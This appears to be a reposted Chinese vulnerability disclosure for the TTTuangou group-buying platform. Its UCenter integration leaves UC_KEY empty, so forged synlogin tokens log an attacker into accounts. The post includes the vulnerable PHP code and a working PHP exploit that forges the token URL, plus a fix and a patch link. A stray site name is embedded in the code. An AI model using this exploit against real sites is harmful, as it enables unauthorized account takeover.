天天團購集成了ucenter一站式登錄api,但是UC_key未初始化將導致攻擊者可以登錄任意帳號,甚至操作信用卡信息.
詳細說明:
$get = $post = array();
$code = @$_GET['code']; //獲取token
parse_str(_authcode($code, 'DECODE', UC_KEY), $get); //UC_KEY未經(jīng)初始化的情況下會為空
if(MAGIC_QUOTES_GPC) {
$get = _stripslashes($get); //喲嗬?
}
$timestamp = time();
if(empty($get)) {
exit('Invalid Request');
} elseif($timestamp - $get['time'] > 3600) { //如果token中的時間戳有效期不足一小時則不允許登錄
exit('Authracation has expiried');
}
$action = $get['action'];
... ...
if(in_array($get['action'], array('test', 'deleteuser', 'renameuser', 'gettag', 'synlogin', 'synlogout', 'updatepw', 'updatebadwords', 'updatehosts', 'updateapps', 'updateclient', 'updatecredit', 'getcredit', 'getcreditsettings', 'updatecreditsettings'))) { //定義了幾個操作接口,其中,恩,有很多好玩的東西
... ...
function synlogin($get, $post) { //登錄接口
$uid = (int) $get['uid']; //需要兩個參數(shù),uid和username
$username = $get['username'];
... ...
$query = $this->db->query("SELECT uid, password, secques FROM {$this->tablepre}system_members WHERE ucuid='$uid'"); //這里傳遞的不是數(shù)據(jù)庫內(nèi)的uid,而是ucuid,這里初始都是0的,但是這里又寫的很糙,username根本沒進入查詢流程,也就是說只能登錄第一個賬戶
$UserFields = $this->db->fetch_array($query);
if (!$UserFields) {
;
}
if($UserFields) {
$auth = TTTuangouAuthcode("{$UserFields['password']}\t{$UserFields['secques']}\t{$UserFields['uid']}"); //取出用戶信息后直接站內(nèi)登錄
_setcookie('sid', '', -86400 * 365);
_setcookie('auth',$auth,(365*86400));
_setcookie('cookietime','2592000',(365*86400));
... ...
UC_KEY未初始化為空,所以也就等于別人知道了你的UC_KEY,可直接進行操作,像一些應用初始化為123456其實一樣可笑,下了你的源碼看一眼不就又知道了?
漏洞證明:
Exp:
< ?php
error_reporting(0);
$username = $argv[1];
$key = '';
$code = 'time=1356796800&username='.$username.'&uid=0&action=synlogin';
echo "$code\n";
$exp = urlencode(authcode($code, "ENCODE", $key));
print_r('/api/uc.php?code='.$exp);
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ckey_length = 4; www.2cto.com
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
} else {
return $keyc.str_replace('=', '', base64_encode($result));
}
}
修復方案:
需要在安裝過程就給予正確的引導,比如設置自己的key或者禁用uc_client功能等.
作者 牛奶坦克
開發(fā)者提供升級補丁:ucenter模塊配置初始化漏洞,使用者整合了ucenter就相對來說安全些,已經(jīng)發(fā)布補丁更新相關程序下載。
補丁詳見:http://cenwor.com/thread-12826-1-1.html